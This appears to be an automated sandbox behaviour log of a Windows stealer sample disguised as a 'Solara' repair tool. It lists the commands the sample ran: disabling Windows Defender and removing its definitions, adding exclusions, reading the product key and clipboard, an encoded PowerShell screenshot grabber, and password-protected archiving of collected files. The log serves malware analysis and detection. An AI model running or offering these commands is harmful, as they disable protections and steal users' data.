Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe' Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara | Repaired', 48+16);close()" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr' Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES74CA.tmp" "c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\cmd.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\cmd.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\cmd.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: version.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: python3.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: libffi-7.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: sqlite3.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: libssl-1_1.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: mswsock.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: dnsapi.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: msasn1.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: dpapi.dll
Source: C:\Users\user\Desktop\cmd.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll
